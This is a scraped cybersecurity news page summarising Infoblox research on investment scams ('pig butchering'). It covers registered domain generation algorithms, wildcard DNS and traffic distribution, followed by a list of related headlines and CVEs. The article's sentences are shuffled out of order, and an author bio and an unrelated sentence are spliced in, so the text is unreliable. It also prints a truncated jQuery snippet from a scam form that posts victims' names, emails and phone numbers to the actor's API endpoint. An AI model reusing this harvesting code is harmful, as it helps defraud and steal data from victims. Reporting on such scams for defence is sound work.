Researchers Uncovered Threat Actors TTP Patterns & Role in DNS in Investment Scams

These sophisticated scams, which include the notorious “pig butchering” schemes, deploy various attack vectors ranging from generic text messages to targeted social media advertisements, often using fake cryptocurrency platforms to defraud victims. The researchers documented how these actors employ registered domain generation algorithms (RDGAs) to create thousands of domains programmatically, allowing them to rapidly replace domains that get flagged or taken down by security systems. $('form').submit(function (event){ $(this).submit(false); event.preventDefault(); event.stopPropagation(); if($('.iti__selected-dial-code').length){ var prefix = $('.iti__selected-dial-code').html().slice(1) $(this).append(` `) } var host = `&host=${$(location).attr('hostname')} var url=`&url=${$(location).attr('href')} var args = host + url + so $.ajax({ type: "POST", url: ' ;.]tech/api/v1/submit/a6111ace-7304-4d9b-8dfe-9aafb7e9638e/', data: $(this).serialize() + args, success: function (response) { if (response. Infoblox researchers identified two prominent threat actor groups-dubbed “Reckless Rabbit” and “Ruthless Rabbit”-who have developed distinctive techniques for operating these scams at scale. Many utilize sophisticated traffic distribution systems (TDS) that filter and redirect visitors based on their geolocation, potentially steering security researchers away from malicious content. “Unlike traditional domain generation algorithms associated with malware, these RDGAs are a secret kept by the actor, who registers all the domain names,” explained the Infoblox threat intelligence team in their report. The scammers operate by creating convincing fake investment platforms, commonly referred to as “profit platforms,” designed to appear legitimate while harvesting personal and financial information from unsuspecting users. This code reveals how the actors implement validation checks to filter out security researchers and ensure only viable targets proceed through the scam funnel. Investment scams have emerged as the most costly form of fraud facing consumers, with the Federal Trade Commission reporting that victims lost a staggering US $5.7 billion in 2024 alone-a 24 percent increase from the previous year. Infoblox researchers noted that over 3 million RDGA domains have been observed on the internet, with many being used for investment scams. As investment scams continue to grow in both number and sophistication, understanding the DNS techniques employed by these threat actors becomes increasingly crucial for effective cybersecurity defenses. A sophisticated malware variant masquerading as a legitimate WordPress security plugin has been identified, capable of providing attackers with persistent access to compromised websites. Cyber Security News is a Dedicated News Platform For Cyber News, Cyber Attack News, Hacking News & Vulnerability Analysis. This technique creates significant noise in DNS traffic, making it challenging for security tools to identify and block the actual malicious domains. With years of experience under his belt in Cyber Security, he is covering Cyber Security News, technology and other news. Tushar is a Cyber security content editor with a passion for creating captivating and informative content. These platforms typically feature embedded web forms that collect names, email addresses, and phone numbers, which are then used to progress victims through increasingly deceptive stages of the scam. The Reckless Rabbit actor, for instance, implements wildcard DNS responses to their domains, meaning any subdomain query (randomsubdomain.scamdomain.info) will return a valid response.

This Cyber News was published on cybersecuritynews.com. Publication date: Thu, 01 May 2025 15:30:05 +0000


Cyber News related to Researchers Uncovered Threat Actors TTP Patterns & Role in DNS in Investment Scams

How to Prevent DNS Attacks: DNS Security Best Practices - To protect against attack, best practices must be applied to protect the DNS protocol, the server on which the DNS protocol runs, and all access to the DNS processes. Implementing these best practices will not only protect DNS but also network ...
1 year ago Esecurityplanet.com
Researchers Uncovered Threat Actors TTP Patterns & Role in DNS in Investment Scams - These sophisticated scams, which include the notorious “pig butchering” schemes, deploy various attack vectors ranging from generic text messages to targeted social media advertisements, often using fake cryptocurrency platforms to ...
1 month ago Cybersecuritynews.com
Using Passive DNS To Trace Command And Control Infrastructure - When a security team discovers a suspicious domain or IP address, passive DNS allows them to trace its historical connections and uncover the broader infrastructure used by the threat actor. Finally, security teams should combine passive DNS ...
2 months ago Cybersecuritynews.com Hunters
DNS Tunneling Abuse Expands to Tracking & Scanning Victims - Attackers are taking malicious manipulation of DNS traffic to the next level, abusing DNS tunneling to scan a victim's network infrastructure as well as track victims' online behavior. Researchers from Palo Alto Networks' Unit 42 have identified ...
1 year ago Darkreading.com
Staying ahead of threat actors in the age of AI - At the same time, it is also important for us to understand how AI can be potentially misused in the hands of threat actors. In collaboration with OpenAI, today we are publishing research on emerging threats in the age of AI, focusing on identified ...
1 year ago Microsoft.com Kimsuky
Unravelling Retirement Banking Scams and How To Protect Yourself - In the labyrinth of financial scams, one of the most insidious is the retirement banking scam. According to the FBI, in 2020 alone, financial scams targeting seniors netted more than $1 billion. It's a quiet crisis that we need to address, and ...
1 year ago Hackread.com
Investment Scams Grow, 13,000 Domains Detected in January 2024 - Internet security experts have detected and blocked nearly 13,000 fake investment platform domains across more than 7000 IPs in January 2024, a 25% increase from December 2023. The figure comes amid growing concerns over the escalating threat of ...
1 year ago Infosecurity-magazine.com
CVE-2021-36845 - Multiple Authenticated Stored Cross-Site Scripting (XSS) vulnerabilities in YITH Maintenance Mode (WordPress plugin) versions < 1.3.8, there are 46 vulnerable parameters that were missed by the vendor while patching the 1.3.7 version to 1.3.8. ...
3 years ago
How Criminals Are Leveraging AI to Create Convincing Scams - Cybercriminals create far more sophisticated scams with generative AI than traditional phishing scams. According to Visa research, scammers are fooling even the savviest internet users by launching pig butchering, inheritance, humanitarian relief ...
1 year ago Tripwire.com
Business Email Compromise Scams: Prevention and Response - We will also highlight red flags to watch out for in suspicious emails, emphasizing the importance of implementing robust email authentication methods and comprehensive employee training programs to enhance awareness and response capabilities. BEC ...
1 year ago Securityzap.com
Romance Scammers are Adopting Approval Phishing Tactics - Romance scams are labor-intensive and time-consuming schemes to run. They can be lucrative, pulling in millions in stolen cryptocurrency, but they also can end up going nowhere if the targeted victim becomes suspicious or the bad actor decides there ...
1 year ago Securityboulevard.com Rocke
Hackers use DNS tunneling for network scanning, tracking victims - Threat actors are using Domain Name System tunneling to track when their targets open phishing emails and click on malicious links, and to scan networks for potential vulnerabilities. DNS tunneling is the encoding of data or commands that are sent ...
1 year ago Bleepingcomputer.com
Best of 2023: Why is everyone getting hacked on Facebook? - Importantly, phishing relies on the victim trusting the scammer and taking an action - like clicking a link or sending bank account information - in order for the scammer to get what they want. It's not your imagination - social media scams really ...
1 year ago Securityboulevard.com
TeamCity Intrusion Saga: APT29 Suspected Among the Attackers Exploiting CVE-2023-42793 - As part of this analysis, we look at threat actor TTPs employed throughout the intrusion and how they were identified and pieced together by the FortiGuard IR team. The following section of this report focuses on the activities of one of these threat ...
1 year ago Feeds.fortinet.com CVE-2023-42793 APT29
Operation Morpheus took down 593 Cobalt Strike servers used by threat actors - Threat actors actively exploit D-Link DIR-859 router flaw CVE-2024-0769. Experts released PoC exploit code for a critical bug in Progress Telerik Report Servers. Threat actors may have exploited a zero-day in older iPhones, Apple warns. Nation-state ...
11 months ago Securityaffairs.com CVE-2024-0769 CVE-2022-38028 CVE-2023-49103 CVE-2023-46747 CVE-2023-46748 CVE-2023-4966 APT28
Understanding DNS Zones: A Comprehensive Guide - DNS stands for Domain Name System, and it is one of the most important components of the Internet. It is a network of servers that coordinates the registration, updating and resolution of domain names, so that users can easily access websites and ...
2 years ago Heimdalsecurity.com
Why the Keitaro TDS keeps causing security headaches - A software company named Keitaro has long been labeled by cybersecurity vendors as a legitimate traffic distribution system vendor, yet the company's product is repeatedly used for malicious activity by cybercriminals. Despite being described as a ...
1 year ago Techtarget.com
Automating Threat Intelligence Enrichment In Your SIEM With MISP - In conclusion, automating threat intelligence enrichment between MISP and your SIEM using Python is a transformative step for any security operations center. This article explores how to architect, implement, and operationalize automated threat ...
2 months ago Cybersecuritynews.com
9 Best DDoS Protection Service Providers for 2024 - eSecurity Planet content and product recommendations are editorially independent. We may make money when you click on links to our partners. Learn More. One of the most powerful defenses an organization can employ against distributed ...
1 year ago Esecurityplanet.com
CVE-2024-7715 - ** UNSUPPORTED WHEN ASSIGNED ** A vulnerability was found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, ...
10 months ago
CVE-2024-7828 - ** UNSUPPORTED WHEN ASSIGNED ** A vulnerability classified as critical was found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, ...
10 months ago
CVE-2024-7829 - ** UNSUPPORTED WHEN ASSIGNED ** A vulnerability, which was classified as critical, has been found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, ...
10 months ago
CVE-2024-7830 - ** UNSUPPORTED WHEN ASSIGNED ** A vulnerability, which was classified as critical, was found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, ...
10 months ago
CVE-2024-7831 - ** UNSUPPORTED WHEN ASSIGNED ** A vulnerability has been found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, ...
10 months ago
CVE-2024-7832 - ** UNSUPPORTED WHEN ASSIGNED ** A vulnerability was found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, ...
10 months ago